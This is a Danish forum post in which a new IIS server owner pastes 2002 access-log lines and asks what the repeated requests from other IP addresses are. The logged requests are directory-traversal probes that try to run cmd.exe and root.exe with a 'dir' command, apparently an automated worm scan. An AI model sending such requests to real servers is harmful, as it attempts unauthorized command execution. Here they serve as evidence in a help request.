IIS Log
Er ny indenfor webserver.Jeg ville lige prøve at kigge i loggen og lægger mærke til følgende linier
2002-09-15 19:05:09 80.198.31.44 - 192.168.1.10 80 GET /scripts/root.exe /c+dir 404 -
2002-09-15 19:05:09 80.198.31.44 - 192.168.1.10 80 GET /MSADC/root.exe /c+dir 403 -
2002-09-15 19:05:10 80.198.31.44 - 192.168.1.10 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:05:10 80.198.31.44 - 192.168.1.10 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:05:11 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:05:11 80.198.31.44 - 192.168.1.10 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:05:11 80.198.31.44 - 192.168.1.10 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:05:11 80.198.31.44 - 192.168.1.10 80 GET /msadc/..%5c../..%5c../..%5c/..Á ../..Á ../..Á ../winnt/system32/cmd.exe /c+dir 403 -
2002-09-15 19:05:13 80.198.31.44 - 192.168.1.10 80 GET /scripts/..Á ../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:05:13 80.198.31.44 - 192.168.1.10 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:05:14 80.198.31.44 - 192.168.1.10 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:05:14 80.198.31.44 - 192.168.1.10 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:05:15 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:05:15 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:05:15 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:05:16 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:10:56 80.198.31.44 - 192.168.1.10 80 GET /scripts/root.exe /c+dir 404 -
2002-09-15 19:10:56 80.198.31.44 - 192.168.1.10 80 GET /MSADC/root.exe /c+dir 403 -
2002-09-15 19:10:56 80.198.31.44 - 192.168.1.10 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:10:56 80.198.31.44 - 192.168.1.10 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:10:58 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:10:58 80.198.31.44 - 192.168.1.10 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:10:58 80.198.31.44 - 192.168.1.10 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:10:59 80.198.31.44 - 192.168.1.10 80 GET /msadc/..%5c../..%5c../..%5c/..Á ../..Á ../..Á ../winnt/system32/cmd.exe /c+dir 403 -
2002-09-15 19:10:59 80.198.31.44 - 192.168.1.10 80 GET /scripts/..Á ../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:10:59 80.198.31.44 - 192.168.1.10 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:10:59 80.198.31.44 - 192.168.1.10 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:11:00 80.198.31.44 - 192.168.1.10 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-09-15 19:11:00 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:11:00 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:11:00 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 19:11:00 80.198.31.44 - 192.168.1.10 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-09-15 20:34:45 212.237.190.95 - 192.168.1.10 80 GET /index.html - 304 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)
den sidste linie er mig der har været inde på siden...men hvad er de andre? De optræder hyppigt med forskellige ip-adresser.
